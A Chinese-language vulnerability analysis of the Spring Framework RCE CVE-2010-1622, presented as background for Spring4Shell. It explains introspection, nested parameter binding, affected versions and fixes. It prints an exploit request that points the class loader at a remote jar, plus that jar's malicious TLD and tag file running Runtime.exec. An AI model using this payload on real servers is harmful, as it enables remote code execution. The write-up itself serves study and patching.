spring rce 从cve-2010-1622到CVE-2022-22965 篇一
字数 2168 2025-08-29 08:32:30
Spring RCE漏洞分析:从CVE-2010-1622到CVE-2022-22965
1. 前言
本文详细分析Spring框架中的两个重要RCE漏洞:CVE-2010-1622和CVE-2022-22965(Spring4Shell)。这两个漏洞都涉及到Spring框架的参数绑定机制和类加载器的操作,其中CVE-2022-22965被认为是CVE-2010-1622的绕过版本。
2. CVE-2010-1622漏洞分析
2.1 影响版本
- Spring版本:
- 3.0.0 to 3.0.2
- 2.5.0 to 2.5.6.SEC01 (社区版)
- 2.5.0 to 2.5.7 (订阅客户版)
- Tomcat版本:< 6.0.28
- 使用Spring表单标签功能
2.2 前置知识
2.2.1 Java Class对象
- Java中有两种对象:通过new()创建的对象和Class对象
- Class类存在于java.lang包中,表示运行时类型信息
- 每个类都有一个对应的Class对象,保存在.class文件中
- Class对象特点:
- Class类也是类的一种
- 手动编写的类编译后会产生Class对象
- 每个类在内存中有且只有一个对应的Class对象
- Class对象只能由JVM创建和加载
- 用于运行时获取类型信息(反射基础)
获取Class对象的方法:
- 类名.class
- Class.forName()
- getClass()
2.2.2 Java Bean
符合以下条件的类称为Java Bean:
- 所有属性为private
- 提供默认构造方法(无参构造)
- 提供getter和setter
- 实现Serializable接口
2.2.3 Java内省(Introspector)
内省是Java对Bean类属性、事件的处理方法,通过Introspector类可以:
- 获取BeanInfo信息
- 通过BeanInfo获取属性描述器(PropertyDescriptor)
- 通过属性描述器获取getter/setter方法
- 通过反射调用这些方法
示例:
BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] pds = beanInfo.getPropertyDescriptors();
注意:所有类都会继承Object的class属性,对应getClass()方法。
2.2.4 Spring Bean
- Spring Bean是Spring IoC容器管理的对象
- 可以通过XML配置创建Bean
- 示例:
<bean id="bean1" class="com.User">
<constructor-arg value="zhangsan"/>
<constructor-arg value="21"/>
</bean>
2.2.5 Spring MVC参数传递
Controller接收参数的方式:
- 通过实体Bean接收
- 通过方法形参接收
- 通过HttpServletRequest接收
- 通过@PathVariable接收
- 通过@RequestParam接收
- 通过@ModelAttribute接收
重点:参数嵌套绑定
- 支持
user.address.street=xxx形式的参数 - 相当于执行:
UserObj.getUser().getAddress().setStreet("xxx") - 关键点:数组、List、Map类型的字段即使没有set方法也能赋值
2.2.6 Spring MVC表单标签
- 位于spring-webmvc.jar
- 启用方式:
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form" %> - 常用标签:
<form:form>,<form:input>等
2.2.7 JSP JSTL
- JSP标准标签库
- 可以自定义标签
- 漏洞利用的关键:通过自定义标签实现RCE
2.3 漏洞利用分析
2.3.1 Payload
http://localhost:8080/student?class.classLoader.URLs[0]=jar:http://127.0.0.1:8081/spring-jar.jar!/
2.3.2 利用原理
- 通过参数绑定修改classLoader.URLs[0]
- 触发TldLocationsCache.scanJars()加载远程jar
- 远程jar中包含恶意TLD文件,覆盖Spring表单标签
- 渲染JSP时执行恶意代码
2.3.3 关键点解析
-
为什么能修改URLs[0]?
- 通过内省机制可以访问class.classLoader属性
- URLs是数组类型,Spring允许没有setter的数组赋值
-
恶意jar包内容
- 结构:
/META-INF/spring-form.tld /META-INF/tags/InputTag.tag - spring-form.tld内容:
<taglib version="2.0"> <uri>http://www.springframework.org/tags/form</uri> <tag-file> <name>input</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> </taglib> - InputTag.tag内容:
<%@ tag dynamic-attributes="dynattrs" %> <% java.lang.Runtime.getRuntime().exec("calc"); %>
- 结构:
-
触发流程
- exp → 参数自动绑定 → 数组覆盖classLoader.URLs[0] → WebappClassLoader.getURLs() → TldLocationsCache.scanJars() → 模板解析 → 执行shellcode
2.4 漏洞修复
-
Spring修复:
- 在CachedIntrospectionResults中添加classloader到黑名单
-
Tomcat修复:
- 6.0.28版本后getURLs()返回clone的数组,防止修改原始URLs
3. 总结
CVE-2010-1622漏洞展示了Spring框架参数绑定机制的潜在危险,特别是对类加载器属性的修改能力。理解这个漏洞需要掌握:
- Java内省机制
- Spring参数绑定特性
- JSP标签库加载机制
- Tomcat类加载器工作原理
这个漏洞为后续分析CVE-2022-22965(Spring4Shell)奠定了基础,两者在利用思路上有相似之处。